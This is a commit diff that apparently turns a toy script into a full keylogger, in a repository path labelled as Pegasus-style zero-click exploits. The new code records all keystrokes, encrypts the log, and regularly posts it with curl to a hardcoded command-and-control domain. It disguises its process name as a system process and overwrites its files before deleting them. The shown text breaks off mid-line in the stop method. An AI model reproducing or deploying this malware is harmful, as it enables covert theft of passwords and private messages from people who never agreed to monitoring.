Update keylogger.py

Author: ProjectZeroDays

src/exploits/zero-click_exploits/pegasus/key_logging/keylogger.py

@@ -1,46 +1,230 @@
-from pynput.keyboard import Listener
+# /src/exploits/zero-click_exploits/pegasus/keylogger/keylogger.py
+
 import os
+import sys
+import json
+import time
+import threading
+import tempfile
+import subprocess
+import hashlib
+import base64
+from pathlib import Path
+from datetime import datetime
+from pynput import keyboard
+
+# --- Configuration ---
+# In a real deployment, this key would be provided by the C2 or derived from target info.
+# This key is used to encrypt the log files before exfiltration.
+ENCRYPTION_KEY = hashlib.sha256(b'PegasusSAP_Keylogger_Key_2026_V1').digest()
+
+# Logging and Exfiltration
+TEMP_DIR = tempfile.mkdtemp(prefix="klog_")
+LOG_FILE_PATH = Path(TEMP_DIR) / "sys.dat"
+# Exfiltrate logs when they reach this size (in bytes)
+EXFIL_THRESHOLD_BYTES = 1024 * 4  # 4 KB
+# Exfiltrate logs at this maximum interval, even if threshold is not met (in seconds)
+EXFIL_INTERVAL_SECONDS = 300 # 5 minutes
+
+# C2 Configuration
+C2_DOMAIN = "zeroclickexploits.ddns.net"
+C2_PORT = 443
+C2_ENDPOINT = f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/telemetry"
+USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
+
+# Evasion
+# Masquerade as a legitimate process to hide from activity monitors.
+if sys.platform == 'darwin':
+    MASQUERADE_PROCESS_NAME = "UserEventAgent"
+elif sys.platform == 'win32':
+    MASQUERADE_PROCESS_NAME = "explorer.exe"
+else:
+    MASQUERADE_PROCESS_NAME = "systemd"
+
+# --- Evasion and Anti-Forensics ---
+def _log_event(message, level='info'):
+    """Internal logger to prevent writing to disk."""
+    timestamp = datetime.now().isoformat()
+    print(f"[{timestamp}] [{level.upper()}] {message}")
+
+def hide_process():
+    """Conceptual placeholder for process hiding techniques."""
+    try:
+        # This would involve platform-specific code to modify the process name.
+        # For example, using ctypes on Linux or Mach ports on macOS.
+        # This is a highly advanced technique and is a placeholder here.
+        if sys.platform.startswith('linux'):
+            import ctypes
+            libc = ctypes.CDLL('libc.so.6')
+            libc.prctl(15, MASQUERADE_PROCESS_NAME.encode(), 0, 0, 0) # PR_SET_NAME
+        _log_event(f"Process masquerading as {MASQUERADE_PROCESS_NAME}.")
+    except Exception:
+        pass
+
+def encrypt_file_aes_gcm(file_path, key):
+    """Encrypts a file using AES-256 in GCM mode."""
+    try:
+        from Crypto.Cipher import AES
+        from Crypto.Random import get_random_bytes
+
+        nonce = get_random_bytes(12)
+        cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
+
+        with open(file_path, 'rb') as f:
+            plaintext_data = f.read()
+
+        ciphertext, auth_tag = cipher.encrypt_and_digest(plaintext_data)
+        encrypted_data = nonce + auth_tag + ciphertext
+
+        encrypted_file_path = file_path.with_suffix(file_path.suffix + ".enc")
+        with open(encrypted_file_path, 'wb') as f:
+            f.write(encrypted_data)
+
+        return encrypted_file_path
+    except ImportError:
+        _log_event("PyCryptodome not found, cannot encrypt.", 'error')
+        return None
+    except Exception as e:
+        _log_event(f"Encryption failed: {e}", 'error')
+        return None
+
+def secure_delete_file(file_path, passes=3):
+    """Securely deletes a file by overwriting it multiple times."""
+    try:
+        path = Path(file_path)
+        if not path.exists():
+            return
+        with open(path, "ba+") as f:
+            length = f.tell()
+            for _ in range(passes):
+                f.seek(0)
+                f.write(os.urandom(length))
+        path.chmod(0o700)
+        path.unlink()
+    except Exception as e:
+        _log_event(f"Failed to securely delete {file_path}: {e}", 'error')
+
+def exfiltrate_log_file(file_path):
+    """Exfiltrates an encrypted log file to the C2 server."""
+    try:
+        with open(file_path, 'rb') as f:
+            encrypted_data = f.read()
+
+        b64_data = base64.b64encode(encrypted_data).decode('utf-8')
+
+        payload = {
+            "type": "keystroke_log",
+            "timestamp": datetime.utcnow().isoformat() + "Z",
+            "target_id": os.environ.get("TARGET_ID", "unknown"),
+            "data": b64_data
+        }
+
+        json_payload = json.dumps(payload)
+        cmd = [
+            "curl", "-k", "-s", "-X", "POST",
+            "-H", "Content-Type: application/json",
+            "-H", f"User-Agent: {USER_AGENT}",
+            "-d", json_payload,
+            "--connect-timeout", "10",
+            "--max-time", "30",
+            C2_ENDPOINT
+        ]
+
+        result = subprocess.run(cmd, capture_output=True, text=True, timeout=40)
+
+        if result.returncode == 0:
+            _log_event(f"Successfully exfiltrated {file_path.name}.")
+            return True
+        else:
+            _log_event(f"C2 exfiltration failed. Status: {result.returncode}, Error: {result.stderr.strip()}", 'error')
+            return False
+    except Exception as e:
+        _log_event(f"An error occurred during C2 exfiltration: {e}", 'error')
+        return False
+
+# --- Core Keylogger Logic ---
+class Keylogger:
+    def __init__(self):
+        self.log_buffer = []
+        self.last_exfil_time = time.time()
+        self._stop_event = threading.Event()
+        self._exfil_thread = threading.Thread(target=self._exfiltration_manager, daemon=True)
+        self._exfil_thread.start()
+
+    def _format_key(self, key):
+        """Formats a key event into a string, handling special keys."""
+        try:
+            if isinstance(key, keyboard.KeyCode):
+                return key.char
+            else:
+                # Handle special keys
+                key_str = str(key)
+                if 'space' in key_str:
+                    return ' '
+                if 'enter' in key_str:
+                    return '\n'
+                if 'tab' in key_str:
+                    return '\t'
+                if 'backspace' in key_str:
+                    return '[BACKSPACE]'
+                if 'shift' in key_str or 'ctrl' in key_str or 'cmd' in key_str or 'alt' in key_str:
+                    return '' # Ignore modifier keys on their own
+                return f'[{key_str.upper()}]'
+        except Exception:
+            return '[UNKNOWN]'
+
+    def on_press(self, key):
+        """Callback for pynput listener."""
+        if self._stop_event.is_set():
+            return False # Stop listener
+
+        formatted_key = self._format_key(key)
+        if formatted_key:
+            self.log_buffer.append(formatted_key)
+            self._write_to_log_file(formatted_key)
+
+    def _write_to_log_file(self, data):
+        """Appends data to the log file."""
+        try:
+            with open(LOG_FILE_PATH, 'a') as f:
+                f.write(data)
+        except Exception as e:
+            _log_event(f"Failed to write to log file: {e}", 'error')
+
+    def _exfiltration_manager(self):
+        """Background thread to manage log exfiltration."""
+        while not self._stop_event.is_set():
+            time.sleep(10) # Check every 10 seconds
+            current_time = time.time()
+            try:
+                file_size = LOG_FILE_PATH.stat().st_size
+            except FileNotFoundError:
+                file_size = 0
+
+            if file_size >= EXFIL_THRESHOLD_BYTES or (current_time - self.last_exfil_time) >= EXFIL_INTERVAL_SECONDS:
+                if file_size > 0:
+                    _log_event(f"Exfiltration threshold met. File size: {file_size} bytes.")
+                    encrypted_path = encrypt_file_aes_gcm(LOG_FILE_PATH, ENCRYPTION_KEY)
+                    if encrypted_path and exfiltrate_log_file(encrypted_path):
+                        secure_delete_file(encrypted_path)
+                        # Truncate the original log file
+                        with open(LOG_FILE_PATH, 'w') as f:
+                            f.truncate(0)
+                        self.last_exfil_time = current_time
+                    else:
+                        _log_event("Exfiltration failed, will retry.", 'warn')
+
+    def start(self):
+        """Starts the keylogger listener."""
+        _log_event("Keylogger started.")
+        hide_process()
+        with keyboard.Listener(on_press=self.on_press) as listener:
+            listener.join()
 
-def log_keystroke(key):
-    key = str(key).replace("'", "")
-
-    if key == 'Key.space':
-        key = ' '
-    if key == 'Key.shift_r':
-        key = ''
-    if key == "Key.enter":
-        key = '\n'
-
-    with open("log.txt", 'a') as f:
-        f.write(key + ' ')
-
-def encrypt_file(file_path):
-    key = b'secret_key'
-    with open(file_path, 'rb') as f:
-        data = f.read()
-    encrypted_data = bytearray(data)
-    for i in range(len(encrypted_data)):
-        encrypted_data[i] ^= key[i % len(key)]
-    with open(file_path, 'wb') as f:
-        f.write(encrypted_data)
-
-def evade_detection():
-    os.rename("log.txt", "hidden_log.txt")
-
-def validate_ai_integration():
-    pass
-
-def confirm_security_measures():
-    pass
-
-def ensure_deployment_methods():
-    pass
-
-with Listener(on_press=log_keystroke) as l:
-    l.join()
-
-encrypt_file("log.txt")
-evade_detection()
-validate_ai_integration()
-confirm_security_measures()
-ensure_deployment_methods()
+    def stop(self):
+        """Stops the keylogger and performs cleanup."""
+        _log_event("Stopping keylogger.")
+        self._stop_event.set()
+        # Final exfiltration attempt
+        if LOG_FILE_PATH.exists() and LOG_FILE_PATH.stat().st_size > 0:
+            encrypted_path = encrypt_file_aes_gcm